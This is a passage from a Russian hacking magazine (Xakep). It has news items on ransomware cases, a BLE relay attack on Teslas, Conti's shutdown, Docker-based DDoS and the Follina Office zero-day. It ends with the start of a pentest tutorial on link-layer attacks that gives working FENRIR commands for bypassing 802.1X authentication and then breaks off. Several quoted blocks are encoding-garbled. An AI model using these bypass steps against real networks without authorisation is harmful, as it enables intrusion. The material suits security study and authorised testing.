гим хакерам извес тные шиф роваль щики Jigsaw и Thanos.

По дан ным Минюс та США, Загала, исполь зовав ший в сети псев донимы
Nosophoros, Aesculapius и Nebuchadnezzar, не толь ко сда вал свою мал варь
в арен ду, но и пред лагал кибер прес тупни кам вся чес кую под дер жку и обу- 
чение, а затем делил с ними при быль — выкупы, получен ные от жертв по все- 
му миру.

«

»

«Ìíî ãîçà äà÷ íûé äîê òîð ëå÷èë ïàöè åíòîâ, ñîç äàë è íàç âàë â ÷åñòü

ñìåð òè ñâîé êèáåðèíñ òðó ìåíò, çàðàáà òûâàë íà ãëî áàëü íîé ýêî ñèñ- 

òåìå ïðîã ðàìì‑âûìîãà òåëåé, ïðî äàâàÿ èíñ òðó ìåí òû äëÿ ïðî âåäå íèÿ

âûìîãà òåëü ñêèõ àòàê, îáó ÷àë çëî óìûø ëåííè êîâ òîìó, êàê âûìîãàòü

äåíü ãè ó æåðòâ, à çàòåì õâàñ òàëñÿ â ñåòè óñïåøíû ìè àòà êàìè, â òîì

÷èñ ëå ñîâåð øåííû ìè õàêåðà ìè, ñâÿ çàí íûìè ñ ïðà âèòåëü ñòâîì Èðà- 

íà», — ðàñ ñêà çàë ïðî êóðîð ÑØÀ Áðå îí Ïèñ.

Сто ит отме тить, что шиф роваль щик Jigsaw не про являл активнос ти с осе- 
ни 2021 года, и даже в то вре мя его активность была весь ма низ кой. Кро ме
того, для него дав но дос тупен бес плат ный дешиф ровщик, соз данный экспер- 
тами Emsisoft.

Thanos, в свою оче редь, работал по модели ransomware as a service (RaaS,
«вымога тель как услу га») и в основном рек ламиро вал ся на рус ско языч ных
хакер ских форумах. Мал варь поз воляла «пар тне рам» Загалы соз давать собс- 
твен ные вымога тели с помощью спе циаль ного конс трук тора.

По дан ным ID-Ransomware, активность Thanos тоже прак тичес ки перес тала
про являть ся еще в фев рале 2022 года, а бил дер мал вари утек на VirusTotal
в июне 2021 года.

Аме рикан ские влас ти сооб щили, что в мае 2022 года аген ты пра воох- 
ранитель ных орга нов смог ли окон чатель но свя зать Загалу с ата ками Thanos,
ког да опро сили одно го из его родс твен ников, который получил часть
незакон ных доходов от вымога тель ских опе раций, исполь зуя учет ную запись
PayPal. Этот человек так же передал сле дова телям кон так тную информа цию,
хра нящу юся в его телефо не, которую Nosophoros исполь зовал для регис тра- 
ции час ти инфраструк туры для Thanos.

WIKIMEDIA НЕ НУЖНА КРИПТОВАЛЮТА
Пред ста вите ли фон да «Викиме диа» сооб щили, что  учас тни ков сооб щес тва про голо совал
за прек ращение при ема пожер тво ваний в крип товалю те. Фонд, управля ющий «Википе дией»,
начал при нимал крип товалю ту еще в 2014 году пос ле просьб со сто роны волон теров и жер тво- 
вате лей, но теперь от этой прак тики отка жут ся.

71%

Во вре мя обсужде ния воп роса пред ста вите ли «Викиме диа» сооб щили, что в пре дыду щем
финан совом году крип товалют ные пожер тво вания сос тавили лишь  (  дол лар
США) от обще го чис ла и этот спо соб исполь зовали толь ко  жер тво вате лей, в основном
отда вая пред почте ние бит коинам.

0,08% 130  101
347

→ «Фонд „Викиме диа“ решил прек ратить пря мое при нятие крип товалю ты
в качес тве пожер тво ваний. Мы начали нап рямую при нимать крип товалю ту
в 2014 году по прось бам наших волон теров и жер тво вате лей. Теперь мы при- 
нима ем это решение на осно ве недав них отзы вов, получен ных от этих же сооб- 
ществ. В час тнос ти, мы зак роем нашу учет ную запись Bitpay, что лишит нас воз- 
можнос ти нап рямую при нимать крип товалю ту в качес тве пожер тво ваний»,

— гла сит офи циаль ное заяв ление глав ного спе циалис та по раз витию фон да «Викиме диа» Лизы
Зайц-Гру велл (Lisa Seitz-Gruwell).

BLUETOOTH-АТАКА
НА TESLA
Эк спер ты из NCC Group раз работа ли инс тру мент для про веде ния relay-атак
пос редс твом Bluetooth Low Energy (BLE) и утвер жда ют, что этот спо соб поз- 
воля ет обой ти все средс тва защиты и аутен тифика ции на целевых устрой- 
ствах.

Нуж но ска зать, что BLE исполь зует ся во мно гих про дук тах, от элек тро ники
(ноут буки, мобиль ные телефо ны, умные зам ки, сис темы кон тро ля дос тупа)
до авто моби лей, вклю чая Tesla Model 3 и Model Y.

Та кой тип атак под разуме вает, что зло умыш ленник может перех ватывать
связь меж ду дву мя сто рона ми, нап ример меж ду бре локом авто и самим тран- 
спортным средс твом, и манипу лиро вать ею.

Про дук ты, которые полага ются на BLE для аутен тифика ции на осно ве бли- 
зос ти, защище ны от извес тных методов relay-атак бла года ря про вер кам точ- 
ного количес тва задер жек (latency), а так же шиф рованию на уров не канала.
Но в NCC Group сооб щают, что соз дали инс тру мент, который работа ет
на каналь ном уров не с задер жкой 8 мс, что находит ся в пре делах допус- 
тимого диапа зона 30 мс для отве та GATT (Generic ATTtribute Prole).

«

»

«Ïîñ êîëü êó relay-àòà êà ðàáîòà åò íà êàíàëü íîì óðîâ íå, îíà ìîæåò

ïåðåñû ëàòü íà êàíàëü íîì óðîâ íå çàøèô ðîâàí íûå PDU. Òàê æå îíà

ñïî ñîá íà îáíà ðóæè âàòü çàøèô ðîâàí íûå èçìå íåíèÿ ïàðàìåò ðîâ

ñîåäè íåíèÿ (òàêèõ êàê èíòåðâàë ñîåäè íåíèÿ, WinOffset, ðåæèì PHY)

è ïîä äåðæè âàòü relay-ñîåäè íåíèå ñ èçìå íåíè åì ïàðàìåò ðîâ. Òàêèì

îáðà çîì, íè øèô ðîâàíèå êàíàëü íîãî óðîâ íÿ, íè èçìå íåíèå ïàðàìåò- 

ðîâ çàøèô ðîâàí íîãî ñîåäè íåíèÿ íå çàùèùà þò îò ýòî ãî òèïà àòàê», —

ïèøóò èññëå äîâà òåëè.

По сло вам спе циалис та NCC Group Сул тана Касима Хана, для запус ка подоб- 
ной ата ки тре бует ся око ло 10 с и ее мож но пов торять бес конеч но. Так
как Tesla Model 3 и Model Y исполь зуют сис тему вхо да на осно ве BLE, пред- 
ложен ный экспер тами метод может исполь зовать ся для раз бло киров ки
и запус ка этих авто моби лей.

Хо тя тех ничес кие детали ата ки пока не опуб ликова ны, иссле дова тели рас- 
ска зыва ют, что они про тес тирова ли свой метод на Tesla Model 3 2020 года
с исполь зовани ем iPhone 13 mini и при ложе нием Tesla вер сии 4.6.1-891.

Ата ка показа ла успешную раз бло киров ку авто моби ля и управле ние им,
ког да iPhone находил ся за пре дела ми зоны дей ствия BLE. Так, в ходе экспе- 
римен та уда лось свя зать авто мобиль с iPhone через два рет ран сля тора, один
из которых находил ся в 7 м от телефо на, а дру гой — в 3 м от авто моби ля.
Общее рас сто яние меж ду телефо ном и авто моби лем сос тавило 25 м.

Тест был успешно вос про изве ден на Tesla Model Y 2021 года, пос коль ку
в этом авто исполь зуют ся ана логич ные тех нологии.

Эк спер ты сооб щают, что уве доми ли о резуль татах сво их изыс каний инже- 
неров Tesla, но в ком пании отве тили, что «relay-ата ки явля ются извес тным
недос татком сис тем пас сивно го вхо да». Так же экспер ты уве доми ли о проб- 
лемах Spectrum Brands, материн скую ком панию Kwikset — про изво дите ля
линей ки умных зам ков Kevo.

Ис сле дова ние NCC Group было опуб ликова но в фор мате трех раз ных док- 
ладов: для , для , а так же для умных зам ков

. Каж дый из док ладов иллюс три рует проб лему на кон крет ных
про тес тирован ных устрой ствах и дает понять, как та вли яет на девай сы
и товары дру гих про изво дите лей.

BLE в целом ав томоби лей Tesla
Kwikset/Weiser

 БЛОКИРОВАННЫХ ПРИЛОЖЕНИЙ1 000 000

Ин женеры Google рас кры ли ста тис тику за 2021 год и утвер жда ют, что за год пре дот вра тили
попада ние в Google Play Store  вре донос ных при ложе ний. В ком пании уве рены,
что это пре дот вра тило «мил лиар ды уста новок» мал вари на Android-устрой ства.

1,2 мил лиона

Так же за про шед ший год ком пания забани ла  учет ных записей, при над лежащих
«недоб росовес тным раз работ чикам», и зак рыла око ло  учет ных записей,
которые были заб рошены или неак тивны.

190  000
по лумил лиона

Продолжение статьи →

https://xakep.ru/2021/11/09/ps5-root-keys/
https://research.nccgroup.com/2022/05/15/technical-advisory-ble-proximity-authentication-vulnerable-to-relay-attacks/
https://research.nccgroup.com/2022/05/15/technical-advisory-tesla-ble-phone-as-a-key-passive-entry-vulnerable-to-relay-attacks/
https://research.nccgroup.com/2022/05/15/technical-advisory-kwikset-zweiser-ble-proximity-authentication-in-kevo-smart-locks-vulnerable-to-relay-attacks/
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CONTI ПРЕКРАЩАЕТ
РАБОТУ
Из вес тная вымога тель ская груп па Conti прек ратила свою деятель ность, ее
инфраструк тура отклю чена, а руково дите ли груп пы заяви ли, что брен да боль- 
ше нет.

Од ним из пер вых эти переме ны заметил Ели сей Богус лав ский из ком- 
пании Advanced Intel, который сооб щил, что внут ренняя инфраструк тура груп- 
пиров ки отклю чена. По его сло вам, про чие внут ренние служ бы груп пиров ки,
такие как чат-сер веры, сей час тоже выводят ся из экс плу ата ции.

При этом обще дос тупный сайт для уте чек Conti News, а так же сайт
для про веде ния перего воров о выкупах еще дос тупны, но Богус лав ский пояс- 
няет, что адми нис тра тив ные панели Tor, исполь зуемые хакера ми для про- 
веде ния перего воров и пуб ликации новос тей на сай те, уже отклю чены.

Хо тя недав но Conti про вела  на влас ти Кос та-Рики, иссле- 
дова тель счи тает, что это было сде лано для отво да глаз, пока учас тни ки Conti
мед ленно миг рирова ли в дру гие, более мел кие вымога тель ские груп пиров ки.

гром кую ата ку

«

»

«Åäèíñ òâåí íàÿ öåëü, êîòîðîé Conti õîòåëà äîáèòü ñÿ ïîñ ëåäíåé àòà êîé,

çàê ëþ÷àëàñü â òîì, ÷òî áû èñïîëü çîâàòü åå â êà÷åñ òâå èíñ òðó ìåí òà

äëÿ ðåê ëàìû, óñòðî èòü ñîáñ òâåí íóþ „ñìåðòü“, à çàòåì âîç ðîäèòü ñÿ

íàèáî ëåå ïðàâ äîïîäîá íûì îáðà çîì. 

  

Òàé íîé öåëüþ àòà êè íà Êîñ òà‑Ðèêó, êîòîðóþ îáú ÿâè ëî âíóò ðåííåå

ðóêîâîäñ òâî Conti, áûëà ïóá ëè÷íîñòü, à íå ïîëó÷å íèå âûêóïà. Âíóò- 

ðåííÿÿ ïåðåïèñ êà ìåæ äó ÷ëå íàìè ãðóï ïû ïîêàçû âàåò, ÷òî çàï ðîøåí- 

íûé âûêóï áûë íàì íîãî ìåíü øå ìèë ëèîíà äîë ëàðîâ ÑØÀ (íåñ ìîòðÿ

íà ñëó õè î òîì, ÷òî ãðóï ïèðîâ êà çàï ðàøèâà ëà âûêóï â ðàç- 

ìåðå 10 ìèë ëèîíîâ äîë ëàðîâ ÑØÀ, è ñîáñ òâåí íûå çàÿâ ëåíèÿ Conti

î òîì, ÷òî ñóì ìà âûêóïà ñîñ òàâëÿ ëà 20 ìèë ëèîíîâ äîë ëàðîâ ÑØÀ)», —

ðàñ ñêà çûâà þò â Advanced Intel.

Хо тя брен да Conti боль ше не сущес тву ет, экспер ты уве рены, что этот прес- 
тупный син дикат еще дол го будет играть важ ную роль в вымога тель ской
«индус трии». Так, Богус лав ский полага ет, что вмес то тра дици онно го
для хак-групп реб рендин га (и пос леду юще го прев ращения в новую груп- 
пиров ку) руководс тво Conti сот рудни чает с более мел кими груп пами вымога- 
телей для про веде ния атак.

В рам ках такого «пар тнерс тва» неболь шие хак-груп пы получа ют при ток
опыт ных пен тесте ров, перего вор щиков и опе рато ров из чис ла учас тни ков
Conti. А син дикат Conti, раз деля ясь на более мел кие «ячей ки», управля емые
еди ным руководс твом, получа ет мобиль ность и воз можность укло нять ся
от вни мания пра воох ранитель ных орга нов.

По дан ным спе циалис тов, таким обра зом Conti сот рудни чает с груп пиров- 
ками HelloKitty, AvosLocker, Hive, BlackCat, BlackByte и дру гими. Так же
в Advanced Intel счи тают, что чле ны Conti соз дали ряд новых и авто ном ных
груп пировок, которые пол ностью сос редото чены на кра же дан ных, а не на их
шиф ровании. В чис ло этих групп вхо дят Karakurt, BlackByte и Bazarcall.

ВЫКУПЫ СТАНОВЯТСЯ БОЛЬШЕ
Эк спер ты Group-IB пред ста вили отчет, пос вящен ный прог раммам-вымога телям, которые мно- 
гие счи тают наибо лее опас ной угро зой для биз неса и гос секто ра во всем мире. К сожале нию,
по дан ным ком пании, ситу ация с вымога теля ми про дол жает ста новить ся все хуже.

В 2021 году самыми агрессив ными опе рато рами шиф роваль щиков, совер шивши ми наиболь- 
шее чис ло кибера так в мире, были приз наны груп пы ,  и .LockBit Conti Pysa

Сред ний раз мер тре буемо го зло умыш ленни ками выкупа в прош лом году вырос до 
дол ларов США. Рекорд по жад ности пос тавили вымога тели из Hive — они пот ребова ли
от немец кого хол динга MediaMarkt выкуп в  дол ларов США.

247  000

240 мил лионов

Ос новные цели вымога телей находят ся в Север ной Аме рике, Евро пе, Латин ской Аме рике, Ази- 
атско-Тихо океан ском реги оне

При этом количес тво атак на рос сий ские ком пании за год уве личи лось более чем на .
Наибо лее активны ми в Рос сии ока зались опе рато ры шиф роваль щиков , ,

.

200%
Dharma Crylock

Thanos

В Рос сии шиф роваль щики нацеле ны исклю читель но на круп ный биз нес — от  сот рудни- 
ков — из отраслей , , .

5000
стро итель ства стра хова ния аг ропро мыш ленно го ком плек са

От меча ется, что ата кующие ста ли гораз до быс трее добивать ся сво их целей: если рань ше сред- 
нее вре мя нахож дения шиф роваль щиков в сети жер твы сос тавля ло , то в прош лом году
оно сок ратилось до .

13 дней
9 дней

Сред нее вре мя прос тоя ата кован ной ком пании в 2021 году уве личи лось с  до .18 дней 22 дней

Са мым час тым спо собом получе ния пер воначаль ного дос тупа в сети ком паний ста ла ком про- 
мета ция пуб личных , ведь мно гие из сот рудни ков по-преж нему работа ли
на уда лен ке. Так же у хакеров популя рен  и 

.

RDP-сер веров
фи шинг экс плу ата ция обще дос тупных при- 

ложе ний

ОБРАЗЫ DOCKER
ДЛЯ DDOS-АТАК
Ана лити ки ком пании CrowdStrike замети ли, что Docker-обра зы, заг ружен ные
более 150 тысяч раз, исполь зовались для орга низа ции DDoS-атак про тив
сай тов госор ганов и новос тных орга низа ций в Рос сии и Белару си.

По информа ции экспер тов, за ата ками, наб людав шимися в фев рале
и мар те текуще го года, сто яли про укра инские хак тивис ты, вклю чая дви жение
«IT-армия Укра ины». В общей слож ности орга низа торы этих атак нацели- 
вались на 24 домена, вклю чая сай ты рос сий ских и белорус ских госор ганов,
воору жен ных сил и СМИ.

Не кото рые цели хакеров

Ис сле дова тели отме чают, что ата ки с помощью откры тых API-интерфей сов
Docker — это не новая прак тика, ведь подоб ные методы ранее уже при меня- 
ли май неры и такие хак-груп пы, как Lemon_Duck и TeamTNT. Дело в том, что
в сети мож но най ти мно жес тво неп равиль но нас тро енных или пло хо
защищен ных раз верты ваний Docker, ресур сы которых хакеры успешно при-
меня ют для дос тижения собс твен ных целей.

Эк спер ты CrowdStrike обна ружи ли вре донос ную активность, ког да их
honeypot’ы с незащи щен ными Docker Engine API ока зались зараже ны дву мя
вре донос ными обра зами, заг ружен ными пря мо из Docker Hub. Сум марно
обра зы eriknkl/stoppropaganda и abagayev/stop-russia были ска чаны 50 тысяч
раз и 100 тысяч раз, хотя эти циф ры необя затель но отра жают реаль ное
количес тво ском про мети рован ных хос тов.

«

»

«Docker-îáðàç ñîäåð æèò îñíî âàí íûé íà Go èíñ òðó ìåíò HTTP-òåñ- 

òèðîâà íèÿ ïîä íàç âàíè åì bombardier ñ õåøåì SHA-

256 6d38fda9cf27fddd45111d80c237b86f87cf9d350c795363ee016bb030b

b3453, êîòîðûé èñïîëü çóåò HTTP-çàï ðîñû äëÿ ñòðåññ‑òåñ òèðîâà íèÿ

ñàé òîâ. Â äàí íîì ñëó ÷àå èíñ òðó ìåíò ïðè ìåíÿë ñÿ êàê DoS-èíñ òðó ìåíò,

çàïóñ êàþùèé ñÿ àâòî ìàòè ÷åñ êè ïðè ñîç äàíèè íîâîãî êîí òåé íåðà

íà îñíî âå Docker-îáðà çà», — ðàñ ñêà çûâà þò â CrowdStrike.

Ис сле дова тели приш ли к выводу, что сна чала цели для DDoS-атак выбира- 
лись слу чай ным обра зом, но поз же обра зы ста ли пос тавлять ся с син хро низи- 
руемым по вре мени жес тко закоди рован ным спис ком целей, которые под- 
верга лись одно часо вым ата кам.

КРИТИЧЕСКИЕ ИНЦИДЕНТЫ УЧАСТИЛИСЬ
По дан ным «Лабора тории Кас пер ско го», по все му миру рас тет количес тво инци ден тов высокой
сте пени кри тич ности, а госуч режде ния, про мыш ленность, ИТ и финан совый сек тор чаще все го
под верга ются целевым ата кам.

В 2021 году количес тво атак с учас тием челове ка или зараже ний, которые ока зыва ют серь- 
езное воз дей ствие на биз нес, уве личи лось на пять про цен тных пун ктов — с  до .9 14%

Кри тич ные инци ден ты фик сиру ются во всех отраслях, в 2021 году их доля была наибо лее
высокой в , ,  и 

.
те леком муника цион ных про мыш ленных ИТ‐ком пани ях го суч режде- 

ниях

Ча ще все го инци ден ты свя заны с целевы ми ата ками — поч ти в  слу чаев, еще в  слу- 
чаев — с вре донос ными прог рамма ми, в  — с экс плу ата цией кри тич ных уяз вимос тей,
в  — с соци аль ной инже нери ей.

41% 14%
13%

5,5%

Так же сооб щает ся, что экспер ты Kaspersky фик сиру ют кри тич ные инци ден ты в инфраструк турах
ком паний ежед невно, а их выяв ление в сред нем занима ет .41 минуту

0-DAY В MICROSOFT
OFFICE
Об наруже на уяз вимость нулево го дня в Microsoft Office, получив шая имя
Follina. Этот баг мож но экс плу ати ровать через обыч ное откры тие докумен та
Word и при менять для выпол нения вре донос ных команд PowerShell через
Microsoft Diagnostic Tool (MSDT).

Об наруже ние Follina слу жит весь ма тре вож ным сиг налом, так как уяз- 
вимость откры вает новый век тор атак с исполь зовани ем Microsoft Office.
Дело в том, что баг работа ет без повышен ных при виле гий, поз воля ет обой ти
Windows Defender и не тре бует акти вации мак росов для выпол нения бинар- 
ников или скрип тов.

Пер вый вре донос ный документ Word, пред назна чен ный для экс плу ата ции
этой проб лемы, обна ружил ИБ-спе циалист nao_sec, заметив ший на VirusTotal
файл, заг ружен ный с белорус ско го IP-адре са. Судя по все му, ата ки на эту
проб лему начались еще в апре ле 2022 года и в качес тве при манок для сво их
жертв хакеры исполь зовали фей ковые приг лашения на интервью и сек суаль- 
ное вымога тель ство.

«

»

«ß èñêàë íà VirusTotal ôàé ëû, êîòîðûå èñïîëü çîâàëè áû óÿç âèìîñòü

CVE-2021-40444. Çàòåì ÿ îáíà ðóæèë ôàéë, êîòîðûé çëî óïîò ðåáëÿë

ñõå ìîé MS-MSDT. Îí èñïîëü çîâàë âíåø íþþ ññûë êó Word äëÿ çàã ðóçêè

HTML, à ïîñ ëå ýòî ãî ñõå ìó MS-MSDT äëÿ âûïîë íåíèÿ êîäà

PowerShell», — ðàñ ñêà çûâà åò èññëå äîâà òåëü.

Об фусци рован ный код

Из вес тный ИБ-эксперт Кевин Бомонт изу чил наход ку сво его кол леги, рас- 
шифро вал код и объ яснил в , что это стро ка для коман дной стро- 
ки, которую Microsoft Word выпол няет с помощью MSDT, даже если мак росы
отклю чены. Бомонт уточ няет, что вре донос ный документ Word исполь зует
фун кцию уда лен ного шаб лона для заг рузки HTML-фай ла с сер вера, а затем
этот HTML-код исполь зует схе му Microsoft MS-MSDT URI для заг рузки допол- 
нитель ного кода и выпол нения кода PowerShell.

сво ем бло ге

От меча ется, что при этом акти виру ется фун кция Protected View в Microsoft
Office, пред назна чен ная для опо веще ния о фай лах из потен циаль но небезо- 
пас ных источни ков, но, по сло вам Бомон та, это пре дуп режде ние мож но
обой ти, исполь зуя файл в фор мате Rich Text Format (RTF). Таким обра зом,
вре донос ный код может сра ботать «даже без откры тия докумен та, то есть
через пред варитель ный прос мотр в про вод нике».

В нас тоящее вре мя иссле дова тели уже вос про изве ли экс пло ит на нес- 
коль ких вер сиях Microsoft Office и под твер дили наличие уяз вимос ти в Office
2013, 2016, Office Pro Plus апрель ской вер сии (Windows 11 с май ски ми
обновле ниями) и вер сии Office 2021 со все ми пат чами.

Ин терес но, что уяз вимость Follina была обна руже на еще в апре ле текуще- 
го года и о ней уже уве дом ляли Microsoft. Так, сог ласно скрин шотам, опуб- 
ликован ным поль зовате лем crazyman, учас тни ком Shadow Chaser Group
(ассо циация сту ден тов кол леджей, занима ющаяся поис ком и ана лизом APT),
Microsoft про информи рова ли об уяз вимос ти, одна ко спе циалис ты ком пании
соч ли, что это «не свя зан ная с безопас ностью проб лема». В Microsoft аргу- 
мен тирова ли, что msdt.exe дей стви тель но выпол нялся, но при запус ке тре- 
бовал ся пароль, и ком пания не мог ла вос про извести экс пло ит.

От вет Microsoft иссле дова телям из Shadow Chaser Group

Те перь в Microsoft приз нали, что проб лема все же свя зана с безопас ностью:
уяз вимость уже получи ла иден тифика тор CVE-2022-30190, и сооб щает ся, что
баг зат рагива ет все вер сии Windows, которые получа ют обновле ния безопас- 
ности, то есть Windows 7 и новее, а так же Server 2008 и новее.

Так как пат ча пока нет, адми нис тра торы и поль зовате ли могут бло киро вать
ата ки на CVE-2022-30190, отклю чив про токол MSDT URI, который зло умыш- 
ленни ки исполь зуют для запус ка дебаг геров и выпол нения кода в уяз вимых
сис темах.

Хо тя Microsoft Defender вер сии 1.367.719.0 уже уме ет обна ружи вать
исполь зование уяз вимос ти по сиг натурам, а Protected View и Application Guard
в Microsoft Office дол жны бло киро вать ата ки, ИБ-экспер ты пре дос терега ют,
что защит ные механиз мы бес силь ны, если ата ка идет через пред варитель ный
прос мотр в про вод нике, а не через откры тие докумен та. Поэто му так же
рекомен дует ся отклю чить пред варитель ный прос мотр.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
СМИ: дело про тив учас тни ков REvil заш ло в тупик

В OpenSSF соз дали инс тру мент для поис ка мал вари в опен сор сных репози тори ях

Ба ги в коде Conti, REvil и LockBit, пре дот вра щающие шиф рование

Поль зовате лям рекомен довали вре мен но отка зать ся от Tails из-за уяз вимос тей в Firefox

По явле ние дешево го DarkCrystal RAT обес поко ило экспер тов

Ки тай ская хак-груп па Twisted Panda шпи онит за рос сий ски ми обо рон ными раз работ ками

Ты сячи сай тов на WordPress взло маны и перенап равля ют посети телей на мошен ничес кие стра- 
ницы

Ха керы могут ком про мети ровать чужие акка унты еще до их регис тра ции

Бра узер DuckDuckGo раз реша ет работу тре керов Microsoft

Вы мога тель GoodWill зас тавля ет делать доб рые дела

https://xakep.ru/2022/05/12/conti-reward/
https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
https://xakep.ru/2022/05/27/revil-investigation/
https://xakep.ru/2022/05/04/package-analysis/
https://xakep.ru/2022/05/05/ransomware-bugs/
https://xakep.ru/2022/05/26/tails-tor-problem/
https://xakep.ru/2022/05/11/darkcrystal-rat/
https://xakep.ru/2022/05/23/twisted-panda-russia/
https://xakep.ru/2022/05/13/wordpress-injects/
https://xakep.ru/2022/05/24/pre-hijacking/
https://xakep.ru/2022/05/25/duckduckgo-microsoft/
https://xakep.ru/2022/05/25/goodwill/
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Ес ли зло умыш ленник ата кует сеть на каналь ном уров не, он
может переп рыгнуть через все средс тва защиты, нас тро- 
енные на более высоких уров нях. В этой статье мы с тобой
совер шим увле катель ное путешес твие по боль шинс тву век- 
торов атак на этот самый низ кий уро вень сети.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÈÌÏÀÊÒ ÎÒ ÀÒÀÊ

Ос новная задача ата кующе го — получить дос туп к ресур сам компь ютер ной
сети или нарушить нор маль ную работу сети (Denial of Service). В боль шинс тве
слу чаев ата ки каналь ного уров ня про водят ся вмес те, что бы извлечь боль ше
поль зы от экс плу ата ции. Нап ример, ата ка с перепол нени ем ассо циатив ной
памяти ком мутато ра соз дает иде аль ные усло вия для перех вата тра фика. Ата- 
ка на про токол DTP поз воля ет наруши телю совер шить побег в дру гую сеть
VLAN и ском про мети ровать сег менты VLAN.

Ата ки каналь ного уров ня мож но раз бить на три типа:
 Зло умыш ленник «вста ет посере дине» меж ду сетевы ми устрой ства- 

ми и перех ватыва ет тра фик. Но при этом для легитим ных хос тов в сети
видимых приз наков ата ки нет;

• MITM.

 Зло умыш ленник может про вес ти раз рушитель ную ата ку на сетевое

обо рудо вание, что бы вывес ти его из строя. Такие ата ки в пен тестах менее
прак тичны и годят ся толь ко как отвле кающий маневр при ред тимин ге;

• DoS.

 Зло умыш ленник,

исполь зуя недос татки про токо лов, неп ред ска зуемым обра зом может
получить дос туп к тем учас ткам сети, дос тупа к которым быть не дол жно.
Нап ример, это ата ки DTP VLAN Hopping, Double Tagging.

• íå ñàí êöè îíè ðîâàí íûé äîñ òóï ê ñåã ìåíòàì ñåòè.

ÄÈÑÊËÅÉÌÅÐ È ÂÎÎÐÓÆÅÍÈÅ

На каналь ном уров не мно го век торов для атак типа «отказ в обслу жива нии».
Преж де чем экс плу ати ровать их в ходе пен теста, обя затель но сог ласуй свои
шаги с заказ чиком! При мене ние DoS-атак в рам ках про дак шена — шту ка спе- 
цифич ная. На мой взгляд, они полез нее все го при ред тимин ге для отвле- 
чения синей коман ды.

Мы с тобой поюзаем сле дующие инс тру мен ты:
 — фрей мворк для про веде ния атак на L2 и стресс-тес та компь- 

ютер ных сетей;

• Yersinia

 — модуль Python для манипу лиро вания сетевы ми пакета ми. Может

слу жить как сниф фером, так и пакет ным инжекто ром;

• Scapy

 — фрей мворк, соз данный для обхо да 802.1X в сетях Ethernet.• FENRIR

ÊÀÊ ÎÁÕÎÄÈÒÜ 802.1X

IEEE 802.1X — это стан дарт аутен тифика ции и авто риза ции конеч ных або нен- 
тов на каналь ном уров не. Он под держи вает кон троль дос тупа и не поз воля ет
устрой ствам под клю чать ся к локаль ной сети, не прой дя спе циаль ный про цесс
авто риза ции. Это поз воля ет сущес твен но повысить уро вень защищен ности
локаль ной сети, отсе кая несан кци они рован ные под клю чения. Для пен тесте- 
ров 802.1X может ока зать ся серь езной проб лемой.

MAC Authentication Bypass

Этот очень прос той метод обхо да 802.1X. MAB исполь зует ся для устрой ств,
которые не под держи вают аутен тифика цию 802.1x. Гру бо говоря, это MAC-
авто риза ция. MAB обой ти очень прос то. Нам нуж но прос то най ти
какое-нибудь легитим ное устрой ство, спи сать с него MAC-адрес и нас тро ить
этот MAC-адрес на сетевой интерфейс ата кующей машины. Под клю чаем ся
к ком мутато ру и получа ем дос туп к сети. Не буду показы вать эту ата ку
на прак тике, она слиш ком прос та.

Bridge-based Attack

Са мый популяр ный и эффектив ный метод обхо да 802.1X — ата ка на осно ве
мос та. Для реали зации нуж но помес тить свое устрой ство меж ду легитим ным
кли ентом, про шед шим аутен тифика цию 802.1X, и ком мутато ром. Ком мутатор
выс тупа ет в роли аутен тифика тора и обес печива ет связ ность меж ду кли ентом
и сер вером аутен тифика ции.

Толь ко у этой ата ки есть одно огра ниче ние. Что бы ее про экс плу ати ровать
в про дак шене, нуж но легитим ное устрой ство, про шед шее аутен тифика- 
цию 802.1X. Им может быть какой-нибудь прин тер, IP-телефон, воз можно, ты
суме ешь отыс кать ноут бук какого-нибудь сот рудни ка.

Для демонс тра ции ата ки я буду исполь зовать инс тру мент .FENRIR

Схе ма про веде ния ата ки на 802.1X

IP-адре сация схе мы

Для начала нам надо перевес ти физичес кие интерфей сы в режим promiscious
(нераз борчи вый режим):

c0ldheim@PWN:~$ sudo ifconfig eth0 promisc 
c0ldheim@PWN:~$ sudo ifconfig eth1 promisc 

За пус каем FENRIR и наз нача ем IP-адрес легитим ного устрой ства, его MAC-
адрес и два интерфей са нашей ата кующей машины. В боевых усло виях всю
информа цию ты смо жешь най ти, прос лушивая тра фик. В качес тве 

выс тупит интерфейс, смот рящий в сто рону легитим ного устрой ства,
 — это интерфейс, который смот рит в сто рону ком мутато ра. Пос ле

это го соз даем бридж, он будет называть ся .

hostIface

netIface
FENRIR

c0ldheim@PWN:~$ sudo python2 Interface.py 
 FENRIR > set host_ip 10.1.1.3 
 FENRIR > set host_mac 50:00:00:04:00:00 
 FENRIR > set hostIface eth1 
 FENRIR > set netIface eth0 

FENRIR > create_virtual_tap 

Пос ле соз дания брид жа его необ ходимо нас тро ить. Перек люча ем его
в режим promiscious, наз нача ем жела емый IP-адрес с соб людени ем мас ки
под сети. В кон це добав ляем мар шрут по умол чанию для соз данно го брид жа

.FENRIR

c0ldheim@PWN:~$ sudo ifconfig FENRIR promisc 
c0ldheim@PWN:~$ sudo ifconfig FENRIR 10.1.1.50 netmask 255.255.255.0 
c0ldheim@PWN:~$ sudo route add default gw 10.1.1.254 FENRIR 

Ко ман дой  в кон соли инс тру мен та FENRIR начина ем ата ку.run

 run FENRIR >

Те перь у нас есть дос туп к сети, можем про вес ти даль нейшую сетевую раз- 
ведку, обна ружить соседей в этой сети. Запус каем ARP-ска ниро вание
с помощью netdiscover.

Ре зуль тат ARP-ска ниро вания

Про верим, дос тупен ли путь к мар шру тиза тору.

Ус пешные ICMP-зап росы в сто рону мар шру тиза тора

Пос ле экс плу ата ции ата ки легитим ный хост не потерял соеди нение и име ет
дос туп в интернет.

Ус пешные ICMP-зап росы с легитим ного хос та в интернет

Дамп тра фика с ата кующей машины

CDP X LLDP

Reconnaissance

Дамп тра фика CDP/LLDP дает боль шой импакт, пос коль ку наруши тель
получа ет мно го информа ции о сетевом устрой стве — начиная от модели
устрой ства и закан чивая даже типом дуп лекса. Информа ция, получен ная
из дам па тра фика CDP/LLDP, будет полез ной для зло умыш ленни ка. Он может
